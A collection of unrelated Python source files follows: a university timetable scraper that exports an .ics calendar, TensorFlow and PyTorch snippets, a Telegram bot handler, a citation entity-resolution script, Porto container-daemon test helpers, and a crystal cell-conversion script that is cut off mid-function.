import os
import sys
import json
import re
from datetime import datetime, timedelta
import getopt
from getpass import getpass

import requests

sys.path.insert(1, sys.path[0] + '/pyrsa')
from PyRsa.pyrsa import RsaKey
from PyRsa.pyb64 import Base64

class Jwxt(object):
    def __init__(self, domain, student_number, pwd):
        self.__ua = 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2'
        self.__domain = domain
        self.__student_number = student_number
        self.session = requests.session()

        self.__csrf_token, self.__cookies_route = self.__get_csrf_token()
        self.__modulus, self.__exponent = self.__get_public_key()
        self.__jsessionid = self.__get_jsessionid(pwd)

    def __get_public_key(self):
        url = f'https://{self.__domain}/xtgl/login_getPublicKey.html'

        headers = {
            'Host': self.__domain,
            'User-Agent': self.__ua,
            'Accept': 'application/json, text/javascript, */*; q=0.01',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate, br',
            'X-Requested-With': 'XMLHttpRequest',
            'DNT': '1',
            'Connection': 'keep-alive',
            'Referer': f'https://{self.__domain}/xtgl/login_slogin.html',
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Site': 'same-origin'
        }

        res = self.session.get(url, headers=headers)
        res_json = res.json()
        return res_json.get('modulus'), res_json.get('exponent')

    def __get_csrf_token(self):
        url = f'https://{self.__domain}/xtgl/login_slogin.html'

        headers = {
            'Host': self.__domain,
            'User-Agent': self.__ua,
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate, br',
            'DNT': '1',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
            'Sec-Fetch-Dest': 'document',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-User': '?1',
        }

        res = self.session.get(url, headers=headers)
        route = requests.utils.dict_from_cookiejar(res.cookies)
        csrf_line = re.findall(r"value=\"[0-9a-z\-,]+\"", res.text)
        csrf = re.findall(r"[0-9a-z\-,]+", csrf_line[0])
        return csrf[1], route

    def __get_jsessionid(self, pwd):
        rsakey = RsaKey()
        rsakey.set_public(Base64().b64tohex(self.__modulus), Base64().b64tohex(self.__exponent))
        rr = rsakey.rsa_encrypt(pwd)
        enpsw = Base64().hex2b64(rr)

        data = {
            'csrftoken': self.__csrf_token,
            'yhm': self.__student_number,
            'mm': enpsw
        }
        headers = {
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;'
                      'q=0.8,application/signed-exchange;v=b3',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
            'Cache-Control': 'max-age=0',
            'Connection': 'keep-alive',
            'Content-Length': '470',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Host': self.__domain,
            'Origin': f'https://{self.__domain}',
            'Referer': f'https://{self.__domain}/xtgl/login_slogin.html',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': self.__ua
        }
        url = f'https://{self.__domain}/xtgl/login_slogin.html'

        res = self.session.post(url, headers=headers, data=data)
        if len(res.history) and res.history[0].status_code == 302:
            cookies = requests.utils.dict_from_cookiejar(res.history[0].cookies)
            return cookies

    def dump_class_json(self, academic_year, term):
        term_map = {'1': '3', '2': '12', '3': '16'}

        url = f'https://{self.__domain}/kbcx/xskbcx_cxXsKb.html?gnmkdm=N2151&su={self.__student_number}'
        headers = {
            'Host': f'{self.__domain}',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
            'Accept': '*/*',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate, br',
            'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': f'https://{self.__domain}',
            'DNT': '1',
            'Connection': 'keep-alive',
            'Referer': f'https://{self.__domain}/kbcx/xskbcx_cxXskbcxIndex.html?gnmkdm=N2151&layout=default&su={self.__student_number}',
            'Cookie': f"JSESSIONID={self.__jsessionid['JSESSIONID']}; route={self.__cookies_route['route']}",
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Site': 'same-origin',
            'Cache-Control': 'no-cache',
        }
        data = {
            'xnm': academic_year,
            'xqm': term_map[term],
            'kzlx': 'ck'
        }

        res = self.session.post(url=url, headers=headers, data=data)
        return json.loads(res.text)

class ClassTable(object):
    def __init__(self, start_date):
        self.__start_date = start_date
        self.class_table = []

    def read_class(self, json_obj):
        for i in json_obj['kbList']:
            weeks_group = i.get('zcd').split(',')
            weeks_group = list(map(lambda s: re.findall(r"\d+", s), weeks_group))
            weeks_group = list(map(lambda s: s + s if len(s) == 1 else s, weeks_group))  # 单周补齐list最后一个元素
            weeks_group = list(map(lambda s: list(map(lambda y: int(y), s)), weeks_group))  # str to int
            # 因为套了2层list，最外层map的参数是[[]]（给lambda的参数是[]]），内层map参数是[](给lambda就是单个元素）

            self.class_table.append(dict(name=i.get('kcmc'), start_end_time=i.get('jcs').split('-'),
                                         weekday=int(i.get('xqj')),
                                         week_start_end=weeks_group,
                                         location=i.get('cdmc'), teacher=i.get('xm')))
        return self.class_table

    def cal_gen(self, file_name):
        begin_time = {'1': timedelta(hours=8, minutes=0), '2': timedelta(hours=8, minutes=50),
                      '3': timedelta(hours=10, minutes=0), '4': timedelta(hours=10, minutes=50),
                      '5': timedelta(hours=13, minutes=30), '6': timedelta(hours=14, minutes=20),
                      '7': timedelta(hours=15, minutes=15), '8': timedelta(hours=16, minutes=5),
                      '9': timedelta(hours=18, minutes=0), '10': timedelta(hours=18, minutes=50),
                      '11': timedelta(hours=19, minutes=40)}

        end_time = {'1': timedelta(hours=8, minutes=45), '2': timedelta(hours=9, minutes=35),
                    '3': timedelta(hours=10, minutes=45), '4': timedelta(hours=11, minutes=35),
                    '5': timedelta(hours=14, minutes=15), '6': timedelta(hours=15, minutes=5),
                    '7': timedelta(hours=16, minutes=00), '8': timedelta(hours=16, minutes=50),
                    '9': timedelta(hours=18, minutes=45), '10': timedelta(hours=19, minutes=35),
                    '11': timedelta(hours=20, minutes=25)}

        payload = 'BEGIN:VCALENDAR\nPRODID:-//wirano@github//CJLU ClassTable ' \
                  'Gen//EN\nVERSION:2.0\nCALSCALE:GREGORIAN\nBEGIN:VTIMEZONE\nTZID:Asia/Shanghai\nTZURL:http' \
                  '://tzurl.org/zoneinfo-outlook/Asia/Shanghai\nX-LIC-LOCATION:Asia/Shanghai\nBEGIN:STANDARD' \
                  '\nTZOFFSETFROM:+0800\nTZOFFSETTO:+0800\nTZNAME:CST\nDTSTART:19700101T000000\nEND:STANDARD\nEND' \
                  ':VTIMEZONE'

        for i in self.class_table:
            for j in i['week_start_end']:
                payload += '\nBEGIN:VEVENT\nDTSTAMP:' + datetime.now().strftime("%Y%m%dT%H%M%SZ") + \
                           '\nDTSTART;TZID=Asia/Shanghai:' + \
                           (self.__start_date + timedelta(weeks=j[0] - 1, days=i['weekday'] - 1) + begin_time[
                               i['start_end_time'][0]]).strftime("%Y%m%dT%H%M%S") + \
                           '\nDTEND;TZID=Asia/Shanghai:' + \
                           (self.__start_date + timedelta(weeks=j[0] - 1, days=i['weekday'] - 1) + end_time[
                               i['start_end_time'][1]]).strftime("%Y%m%dT%H%M%S") + \
                           '\nRRULE:FREQ=WEEKLY;COUNT=' + str(j[1] - j[0] + 1) + \
                           '\nSUMMARY:' + i['name'] + \
                           '\nLOCATION:' + i['location'] + \
                           '\nDESCRIPTION:' + i['teacher'] + \
                           '\nBEGIN:VALARM' + '\nTRIGGER:-PT15M' + '\nREPEAT:1' + '\nDURATION:PT1M' + '\nEND:VALARM' + '\nEND:VEVENT'
        payload += '\nEND:VCALENDAR'

        f = open(file_name, 'w')
        f.write(payload)
        f.close()

def main(argv):
    doc = f"Usage: {os.path.basename(sys.argv[0])} <options...>\n" + "    -s, --student_number <student number>    Your student number\n" + "    -d, --start_date <date>                  Term start date(ISO format e.g. 2021-09-06)\n" + "    -o, --output <file name>                 Output file name\n"
    file_name = 'timetable.ics'
    try:
        opts, args = getopt.getopt(argv[1:], "hs:d:o", ["help", "student_number=", "start_date=", "output"])
    except getopt.GetoptError:
        print(doc)
        sys.exit(2)

    for opt, arg in opts:
        if opt in ('-s', '--student_number'):
            s_num = arg
        elif opt in ('-d', '--start_date'):
            start_date = datetime.fromisoformat(arg)
            if start_date.month > 6:
                term = '1'
                academic_year = str(start_date.year)
            else:
                term = '2'
                academic_year = str(start_date.year - 1)
        elif opt in ('-o', '--output'):
            file_name = arg
        else:
            print(doc)
            sys.exit(0)

    jw = Jwxt('jwxt.cjlu.edu.cn', s_num, getpass('Enter your password:'))
    table = jw.dump_class_json(academic_year, term)
    ct = ClassTable(start_date)
    ct.read_class(table)
    ct.cal_gen(file_name)

if __name__ == '__main__':
    main(sys.argv)


import tensorflow as tf
#y=wx+b
w=tf.Variable([2.0,3.4],tf.float32,name="w")
b=tf.Variable([5.0,2.0],name="b")
x=tf.placeholder(tf.float32,name="x")
y=w*x+b
init=tf.global_variables_initializer()

with tf.Session() as sess:
	sess.run(init)

	print("value of y:",sess.run(y,feed_dict={x:[2.2,3.0]}))

number=tf.Variable(2)
multiplier=tf.Variable(1)

init=tf.global_variables_initializer()
result=number.assign(tf.multiply(number,multiplier))#number.assign multiplies and assigns answer to result

with tf.Session() as sess:

	sess.run(init)
	for i in range(10):

	   print("result of number*multiplier:",sess.run(result))
	   print("increament of multiplier by 1:",sess.run(multiplier.assign_add(1)))


#digit product
n=int(input('input a natural number: n= '))
product=1
while n>0:
    digit=n%10
    n=n//10
    if digit==0 :
        continue
    else:
        product*=digit
print (product)


import torch
import torch.nn as nn
from .rnn_encoder import RNNEncoder

# 自编码器
class AutoEncoder(nn.Module):
    def __init__(self, args, embedding_weights):
        super(AutoEncoder, self).__init__()
        self._args = args

        embed_dim = embedding_weights.shape[1]
        self._wd_embed = nn.Embedding.from_pretrained(torch.from_numpy(embedding_weights))

        self._bidirectional = True
        nb_directions = 2 if self._bidirectional else 1

        self.encoder = RNNEncoder(input_size=embed_dim,
                                  hidden_size=args.hidden_size,
                                  num_layers=args.num_layers,
                                  bidirectional=self._bidirectional,
                                  batch_first=True,
                                  rnn_type='lstm')

        self.decoder = RNNEncoder(input_size=nb_directions * args.hidden_size,
                                  hidden_size=embed_dim // nb_directions,
                                  num_layers=args.num_layers,
                                  bidirectional=self._bidirectional,
                                  batch_first=True,
                                  rnn_type='lstm')

        # self._hidden2tag = nn.Linear(args.hidden_size * nb_directions, args.tag_size)

        self._embed_dropout = nn.Dropout(args.embed_dropout)
        self._linear_dropout = nn.Dropout(args.linear_dropout)

    def forward(self, wd_idxs, non_pad_mask=None):
        '''
        :param wd_idxs: (bz, seq_len)
        :param non_pad_mask: (bz, seq_len)  非填充部分mask
        :return:
        '''
        seq_len = wd_idxs.size(1)

        if non_pad_mask is None:
            # 非取mask
            non_pad_mask = wd_idxs.ne(self._args.pad)

        # (bz, seq_len, embed_dim)
        wd_embed = self._wd_embed(wd_idxs)

        if self.training:
            embed = self._embed_dropout(wd_embed)
        else:
            embed = wd_embed

        # (num_layers, batch_size, nb_directions * hidden_size)
        # 编码器输出词序列的句向量
        _, hidden_n = self.encoder(embed, non_pad_mask)
        # (batch_size, nb_directions * hidden_size)
        # sent_vec = hidden_n[0][-1]  # 句向量

        # (batch_size, nb_directions * hidden_size) ->
        # (batch_size, seq_len, nb_directions * hidden_size)
        sent_enc = hidden_n[0][-1].unsqueeze(1).repeat(1, seq_len, 1)

        if self.training:
            sent_enc = self._linear_dropout(sent_enc)

        # (batch_size, seq_len, embed_dim)
        dec_out, _ = self.decoder(sent_enc, non_pad_mask)

        # 用于计算编码MSE误差(无监督)
        return dec_out, wd_embed


import logging

from pyrogram import Client, filters
from pyrogram.types import Message

from korone.locale import StringResource
from korone.utils.misc import get_language_code

log = logging.getLogger(__name__)

@Client.on_message(group=1)
async def catchall(_a: Client, _b: Message) -> None:
    log.debug("New message!")

@Client.on_message(filters.command("greet") & filters.togglable)  # type: ignore
async def command_greet(_: Client, message: Message) -> None:
    language_code: str = get_language_code(message)

    await message.reply(
        StringResource.get(language_code, "strings/greet/message"),
    )

@Client.on_message(filters.command("farewell") & filters.togglable)  # type: ignore
async def command_farewell(_: Client, message: Message) -> None:
    language_code: str = get_language_code(message)

    await message.reply(
        StringResource.get(language_code, "strings/farewell/message"),
    )


import string
import time
import sys
# stop words
from nltk.corpus import stopwords
stop_words = set(stopwords.words('english'))
# stemming of words
from nltk.stem.porter import PorterStemmer
porter = PorterStemmer()

from fuzzywuzzy import fuzz

print("Entity Resolution!")

dblp_tsv = "DBLP1.txt.tsv"
scholar_tsv = "Scholar.txt.tsv"
db_scholar_tsv = "DBLP_Scholar_perfectMapping_RizwanMian.csv"

id_idx = 0
title_idx = 1
author_idx = 2
venue_idx = 3
yr_idx = 4
rowid_dx = 5

def read_pubs(in_file):
	print("reading and preprocessing: " + in_file)
	pubs = []
	counter=0
	table = str.maketrans('', '', string.punctuation)
	with open(in_file, "rb") as ins:
		header_line = next(ins) #ignore header
		for line in ins:
			line = line.decode('ascii').strip()
			tokens=line.split('\t')

			#preprocessing: lowercase
			tokens[title_idx] = tokens[title_idx].lower()
			tokens[author_idx] = tokens[author_idx].lower()
			tokens[venue_idx] = tokens[venue_idx].lower()

			#preprocessing: remove punctuation
			tokens[title_idx] = tokens[title_idx].translate(table)
			tokens[author_idx] = tokens[author_idx].translate(table)

			# remove author initials (up to 2 alphabets) from author names
			tokens[author_idx] = " ".join([w for w in tokens[author_idx].split(" ") if len(w) > 2])

			# preprocessing: remove stop words e.g. 'the’, ‘is’, ‘are' from title
			tokens[title_idx] = " ".join([w for w in tokens[title_idx].split(" ") if not w in stop_words])

			# preprocessing: stemming of words e.g. fishing, fished reduce to stem fish
			tokens[title_idx] = " ".join([porter.stem(w) for w in tokens[title_idx].split(" ")])

			publication = tokens
			pubs.append(publication)
			counter+=1
	return pubs

def entityResolution(first_list, second_list, fuzzy_threshold):
	print("entityResolution with fuzzy_threshold=" + str(fuzzy_threshold))
	num_matches=0
	num_index_errors=0
	counter=0
	matched = []
	out_file="matched.tsv"
	file_handler = open(out_file,"a")
	file_handler.write("fuzzy_threshold=" + str(fuzzy_threshold) + "\n")
	file_handler.write("id \t title \t author \t venue \t year \t rowid\n")
	for aRecord in first_list:
		for idx, bRecord in enumerate(second_list):
			counter+=1
			try:
				a_authors=aRecord[author_idx]
				b_authors=bRecord[author_idx]

				if((aRecord[yr_idx] == bRecord[yr_idx]) and \
					len(a_authors) == len(b_authors)):

					if(a_authors!="" or b_authors!=""):
						author_ratio=fuzz.ratio(a_authors,b_authors)
					else:
						author_ratio=100

					title_ratio=fuzz.token_sort_ratio(aRecord[title_idx],bRecord[title_idx])
					#print("author_ratio,title_Ratio=" + str(author_ratio) + "," + str(title_ratio))
					if(	author_ratio >= fuzzy_threshold and \
						title_ratio >= fuzzy_threshold):
						num_matches+=1
						matched.append(([aRecord,bRecord]))

						file_handler.write("\t".join(aRecord) + "\n")
						file_handler.write("\t".join(bRecord) + "\n")
			except IndexError:
				num_index_errors+=1
				continue
	file_handler.close()
	return num_matches, matched

dblp_idx=0
scholar_idx=1

def dedup(pub_list, fuzzy_threshold):
	print("dedup with fuzzy_threshold=" + str(fuzzy_threshold))
	out_file="duplicates.tsv"
	file_handler = open(out_file,"a")
	file_handler.write("fuzzy_threshold=" + str(fuzzy_threshold) + "\n")
	file_handler.write("did \t dtitle \t dauthor \t dvenue \t dyear \t drowid \t sid \t stitle \t sauthor \t svenue \t syear \t srowid \n")
	num_duplicates=0
	num_index_errors=0
	counter=0

	for aRecord in pub_list:
		for idx, bRecord in enumerate(pub_list):
			try:
				counter+=1
				a_yr = aRecord[dblp_idx][yr_idx]
				b_yr = bRecord[dblp_idx][yr_idx]
				a_rowid = aRecord[dblp_idx][rowid_dx]
				b_rowid = bRecord[dblp_idx][rowid_dx]

				if((a_yr == b_yr) and (a_rowid != b_rowid)):
					a_authors = aRecord[dblp_idx][author_idx]
					b_authors = bRecord[dblp_idx][author_idx]
					a_title = aRecord[dblp_idx][title_idx]
					b_title = bRecord[dblp_idx][title_idx]

					if(a_authors!="" or b_authors!=""):
						author_ratio=fuzz.ratio(a_authors,b_authors)
					else:
						author_ratio=100

					title_ratio=fuzz.token_sort_ratio(a_title,b_title)

					if((author_ratio >= fuzzy_threshold) and \
						(title_ratio >= fuzzy_threshold)):
						num_duplicates+=1
						a_id = aRecord[dblp_idx][id_idx]
						b_id = bRecord[dblp_idx][id_idx]
						a_venue = aRecord[dblp_idx][venue_idx]
						b_venue = bRecord[dblp_idx][venue_idx]

						file_handler.write(a_id + "\t" + a_title + "\t" + \
							a_authors + "\t" + a_venue + "\t" + \
							a_yr + "\t" + a_rowid + "\t" )

						file_handler.write(aRecord[scholar_idx][id_idx] + "\t" + \
							aRecord[scholar_idx][title_idx] + "\t" + \
							aRecord[scholar_idx][author_idx] + "\t" + \
							aRecord[scholar_idx][venue_idx] + "\t" + \
							aRecord[scholar_idx][yr_idx] + "\t" + \
							aRecord[scholar_idx][rowid_dx] + "\n")

						file_handler.write(b_id + "\t" + b_title + "\t" + \
							b_authors + "\t" + b_venue + "\t" + \
							b_yr + "\t" + b_rowid + "\t" )

						file_handler.write(bRecord[scholar_idx][id_idx] + "\t" + \
							bRecord[scholar_idx][title_idx] + "\t" + \
							bRecord[scholar_idx][author_idx] + "\t" + \
							bRecord[scholar_idx][venue_idx] + "\t" + \
							bRecord[scholar_idx][yr_idx] + "\t" + \
							bRecord[scholar_idx][rowid_dx] + "\n")

						del pub_list[idx]
			except IndexError:
				num_index_errors+=1
				continue
	file_handler.close()
	return num_duplicates, pub_list

dblp_pubs = []
scholar_pubs = []
match_pubs=[]

dblp_pubs = read_pubs(dblp_tsv)
dblp_citations= len(dblp_pubs)

scholar_pubs = read_pubs(scholar_tsv)
scholar_citations= len(scholar_pubs)

print("number of cross checks = citations("+dblp_tsv+") x citations("+scholar_tsv+")")
print("number of cross checks = "+ str(dblp_citations) + " x " + str(scholar_citations) +\
	" = " + str(dblp_citations*scholar_citations))
print("process about 1/2 million checks / minute, approx runtime per fuzzy_threshold =" + \
	str(float(dblp_citations*scholar_citations)/(500000.0*60.0)))

final_pubs = []

out_file="stats.csv"
file_handler = open(out_file,"w")
file_handler.write('fuzzy_treshold,matches,duplicates,exec_time_m\n')
for threshold in range(100, 60, -10):
	print("starting with fuzzy_threshold=" + str(threshold))
	start = time.time()
	matches, match_pubs = entityResolution(dblp_pubs,scholar_pubs, threshold)
	#matches, match_pubs = entityResolution(dblp_pubs,dblp_pubs, threshold)
	dups, dedup_pubs = dedup(match_pubs, threshold)
	final_pubs = dedup_pubs
	end = time.time()
	exec_time = end - start
	stats_rec = str(threshold) + "," + str(matches) + "," + str(dups) + "," + str(round(exec_time/60,2)) + "\n"
	print(stats_rec)
	file_handler.write(stats_rec)
file_handler.close()

out_file=db_scholar_tsv
print("dedup ER stored in " + out_file)
file_handler = open(out_file,"w")
file_handler.write('idDBLP,idScholar,DBLP_Match,Scholar_Match,Match_ID\n')
for match in final_pubs:
	file_handler.write(match[dblp_idx][id_idx] + "," + match[scholar_idx][id_idx] + "," + \
		match[dblp_idx][rowid_dx] + "," + match[scholar_idx][rowid_dx] + "," + \
		match[dblp_idx][rowid_dx] + "_" + match[scholar_idx][rowid_dx] + "\n")
file_handler.close()


from __future__ import print_function

import sys
import os
import signal
import pwd
import grp
import time
import platform
import re
import subprocess

portosrc = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
portobin = os.getcwd()
portoctl = portobin + "/portoctl"
portod = os.path.abspath(portobin + "/portod")
portotest = portobin + "/portotest"

try:
    import google.protobuf
except ImportError as e:
    print(e)
    sys.exit(0)

def Catch(func, *args, **kwargs):
    try:
        func(*args, **kwargs)
    except:
        return sys.exc_info()[0]
    return None

def Expect(a):
    assert a, "condition does not hold"

def ExpectEq(a, b):
    assert a == b, "{} should be equal {}".format(a, b)

def ExpectNe(a, b):
    assert a != b, "{} should not be equal {}".format(a, b)

def ExpectLe(a, b, descr=""):
    assert a <= b, "{}{} should be less or equal {}".format(descr, a, b)

def ExpectRange(a, l, h):
    assert l <= a <= h, "{} should be within {} .. {}".format(a, l, h)

def ExpectProp(ct, prop, val):
    cur = ct.GetProperty(prop)
    assert cur == val, "{} property {} should be {} not {}".format(ct, prop, val, cur)

def ExpectPropNe(ct, prop, val):
    cur = ct.GetProperty(prop)
    assert cur != val, "{} property {} value {} should be not equal to {}".format(ct, prop, val, cur)

def ExpectPropGe(ct, prop, val):
    cur = int(ct.GetProperty(prop))
    assert cur >= val, "{} property {} should be at least {} not {}".format(ct, prop, val, cur)

def ExpectPropLe(ct, prop, val):
    cur = int(ct.GetProperty(prop))
    assert cur <= val, "{} property {} should be at most {} not {}".format(ct, prop, val, cur)

def ExpectPropRange(ct, prop, low, high):
    cur = int(ct.GetProperty(prop))
    assert low <= cur <= high, "{} property {} should be within {} .. {} not {}".format(ct, prop, low, high, cur)

def ExpectException(func, exc, *args, **kwargs):
    tmp = Catch(func, *args, **kwargs)
    assert tmp == exc, "method {} should throw {} not {}".format(func, exc, tmp)

def ExpectFile(path, mode, dev=0):
    try:
        st = os.lstat(path)
        assert st.st_mode == mode, "file {} mode {} should be {}".format(path, st.st_mode, mode)
        assert st.st_rdev == dev, "device {} {:x} should be {:x}".format(path, st.st_rdev, dev)
    except OSError:
        assert mode == None, "file {} not found".format(path)

def ParseMountinfo(pid="self"):
    ret = {}
    for line in open("/proc/{}/mountinfo".format(pid), "r"):
        l = line.split()
        sep = l.index('-')
        m = { 'mount_id': l[0], 'parent_id': l[1], 'dev': l[2], 'bind': l[3], 'target': l[4], 'flag': l[5].split(','), 'type': l[sep+1], 'source': l[sep+2], 'opt': l[sep+3].split(',') }
        for tag in l[6:sep]:
            if ':' in tag:
                n, v = tag.split(':', 2)
                m[n] = v
            else:
                m[tag] = True
        # override lower mounts
        ret[m['target']] = m
    return ret

def ParseCgroup(pid):
    ret = {}
    for line in open("/proc/{}/cgroup".format(pid), "r"):
        l = line.split(':')
        ret[l[1]] = l[2].strip()
    return ret

def WithSystemd():
    return os.path.islink("/sbin/init") and os.readlink("/sbin/init").endswith("/systemd")

def GetSystemdCg(pid):
    return ParseCgroup(pid).get('name=systemd')

def MemoryStat(ct, stat):
    for line in ct.GetProperty("memory.stat").splitlines():
        k, v = line.split()
        if k == stat:
            return int(v)
    return None

def ExpectMemoryStatLe(ct, stat, val):
    cur = MemoryStat(ct, stat)
    assert cur is not None, "{} memory.stat:{} not found".format(ct, stat)
    assert cur <= val, "{} memory.stat:{} should be at most {} not {}".format(ct, stat, val, cur)

def UserId(name):
    try:
        return pwd.getpwnam(name).pw_uid
    except KeyError:
        return None

def GroupId(name):
    try:
        return grp.getgrnam(name).gr_gid
    except KeyError:
        return None

alice_uid=UserId("porto-alice")
alice_gid=GroupId("porto-alice")

bob_uid=UserId("porto-bob")
bob_gid=GroupId("porto-bob")

charlie_uid=UserId("porto-charlie")
charlie_gid=GroupId("porto-charlie")

david_uid=UserId("porto-david")
david_gid=GroupId("porto-david")

porto_gid=GroupId("porto")

def AsRoot():
    os.setresgid(0, 0, 0)
    os.setresuid(0, 0, 0)
    os.setgroups([0])

def SwitchUser(username, uid, gid):
    os.initgroups(username, uid)
    os.setresgid(gid, gid, 0)
    os.setresuid(uid, uid, 0)

def AsAlice():
    SwitchUser("porto-alice", alice_uid, alice_gid)

def AsBob():
    SwitchUser("porto-bob", bob_uid, bob_gid)

def AsCharlie():
    SwitchUser("porto-charlie", charlie_uid, charlie_gid)

def AsDavid():
    SwitchUser("porto-david", david_uid, david_gid)

def GetPortodPid():
    pid = int(open("/run/portod.pid").read())
    open("/proc/" + str(pid) + "/status").readline().index("portod")
    return pid

def GetMasterPid():
    pid = int(open("/run/portoloop.pid").read())
    open("/proc/" + str(pid) + "/status").readline().index("portod-master")
    return pid

def ReloadPortod():
    pid = GetPortodPid()
    os.kill(GetMasterPid(), signal.SIGHUP)
    try:
        for i in range(3000):
            os.kill(pid, 0)
            time.sleep(0.1)
        raise Exception("cannot reload porto")
    except OSError:
        pass

def StopPortod():
    global portod
    subprocess.check_call([portod, 'stop'])

def RestartPortod():
    # Note that is restart, not reload!
    # Thus we intentionally want to drop state

    global portod
    subprocess.check_call([portod, 'restart'])

def CleanupConfigs():
    for f in os.listdir('/etc/portod.conf.d'):
        os.unlink('/etc/portod.conf.d/%s' % f)

def ConfigurePortod(name, conf):
    path = '/etc/portod.conf.d/{}.conf'.format(name)
    if os.path.exists(path) and open(path).read() == conf:
        return
    if conf:
        if not os.path.exists('/etc/portod.conf.d'):
            os.mkdir('/etc/portod.conf.d', 0o775)
        open(path, 'w').write(conf)
    elif os.path.exists(path):
        os.unlink(path)
    ReloadPortod()

def ProcStatus(pid, key):
    for line in open("/proc/{}/status".format(pid)).readlines():
        k, v = line.split(None, 1)
        if k == key + ":":
            return v.strip()
    return None

def GetState(pid):
    if isinstance(pid, int):
        pid = str(pid)
    ss = open("/proc/" + pid + "/status").readlines()
    for s in ss:
        if s.find("State:") >= 0:
            return s.split()[1]
    return ""

def IsRunning(pid):
    try:
        os.kill(pid, 0)
        state = GetState(pid)
        return state != "Z" and state != "X"
    except:
        return False

def IsZombie(pid):
    return GetState(pid) == "Z"

def KillPid(pid, signal):
    os.kill(pid, signal)
    try:
        ctr = 0
        while ctr < 100:
            time.sleep(0.1)
            os.kill(pid, 0)
            ctr += 1

        raise BaseException("Too long waited for portod to stop")
    except OSError:
        pass

def GetMeminfo(tag):
    meminfo = open("/proc/meminfo", "r").readlines()
    for m in meminfo:
        if m.find(tag) >= 0:
            return int(m.split()[1]) * 1024

def get_kernel_maj_min():
    kver = re.match("([0-9])\.([0-9]{1,2})", platform.uname()[2]).groups()
    return (int(kver[0]), int(kver[1]))

if not os.environ.get('PORTO_TEST_NO_RESTART', None):
    CleanupConfigs()
    RestartPortod()


import requests,sys,os
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__),'..')))
from config import hosts

class List(object):
	url = hosts.testuri['mt06'] + 'api/v2/wd/info/fengChuListV2'
	res = requests.get(url)
	resp = res.json()
	#print(res.status_code)

	def get_id(self,res,resp):
		id = {}
		#print(len(resp['data']['targets']))
		for i in range(len(resp['data']['targets'])):
			res = requests.get(self.url)
			resp = res.json()
			id[i] = resp['data']['targets'][i]['id']
		print(id)
		return id

if __name__ == '__main__':
	obj = List()
	id = obj.get_id(obj.res,obj.resp)


#!/usr/bin/env python
"""
Change unit vectors of the system from the original a1, a2, and a3
to ax1, ax2, and ax3, each of them is written as (x1,x2,x3) that are
multiplying factors to a1, a2, and a3, respectively.
For example, if ax1 = (x1,x2,x3), the new a1 vector is given as:
  a1_new = x1*a1 +x2*a2 +x3*a3

Usage:
  cell_convert.py [options] INFILE

Options:
  -h,--help  Show this message and exit.
  --ax1 AX1  Factors to be multiplied to a1,a2,a3, comma separated. [default: 1.0,0.0,0.0]
  --ax2 AX2  Factors to be multiplied to a1,a2,a3, comma separated. [default: 0.0,1.0,0.0]
  --ax3 AX3  Factors to be multiplied to a1,a2,a3, comma separated. [default: 0.0,0.0,1.0]
"""
from __future__ import print_function

import os,sys,copy
from docopt import docopt
import numpy as np

#sys.path.append(__file__)
import nappy
from nappy.napsys import NAPSystem

__author__ = 'Ryo KOBAYASHI'
__version__ = '221117'

def convert_by_multiply(nsys,ax1,ax2,ax3):
    """Convert the input nsys by using ax1,ax2,ax3, each of them is written as (x1,x2,x3) that are
multiplying factors to a1, a2, and a3, respectively.
For example, if ax1 = (x1,x2,x3), the new a1 vector is given as:
  a1_new = x1*a1 +x2*a2 +x3*a3
    """
    nsys.assign_pbc()
    #...Reset alc to 1.0
    nsys.a1 = nsys.a1 *nsys.alc
    nsys.a2 = nsys.a2 *nsys.alc
    nsys.a3 = nsys.a3 *nsys.alc
    nsys.alc = 1.0
    print(' a1  = ',nsys.a1)
    print(' a2  = ',nsys.a2)
    print(' a3  = ',nsys.a3)

    pos = nsys.get_real_positions()
    spos = nsys.get_scaled_positions()
    symbols = nsys.get_symbols()
    for i in range(min(len(nsys.atoms),10)):
        print(' {0:5d} {1:s}'.format(i,symbols[i])
              +' {0:12.5f} {1:12.5f} {2:12.5f}'.format(spos[i,0],
                                                       spos[i,1],
                                                       spos[i,2])
              +' {0:12.5f} {1:12.5f} {2:12.5f}'.format(pos[i,0],
                                                       pos[i,1],
                                                       pos[i,2]))

    hmat = nsys.get_hmat()
    hmati= nsys.get_hmat_inv()
    a1new = ax1[0]*nsys.a1 +ax1[1]*nsys.a2 +ax1[2]*nsys.a3
    a2new = ax2[0]*nsys.a1 +ax2[1]*nsys.a2 +ax2[2]*nsys.a3
    a3new = ax3[0]*nsys.a1 +ax3[1]*nsys.a2 +ax3[2]*nsys.a3
    #...Check if a1.(a2xa3) > 0
    if np.dot(a1new,np.cross(a2new,a3new)) < 0.0:
        raise ValueError('a1.(a2xa3) < 0 of new axes, which is now allowed in VASP.')
    sa1new = np.dot(hmati,a1new)
    sa2new = np.dot(hmati,a2new)
    sa3new = np.dot(hmati,a3new)
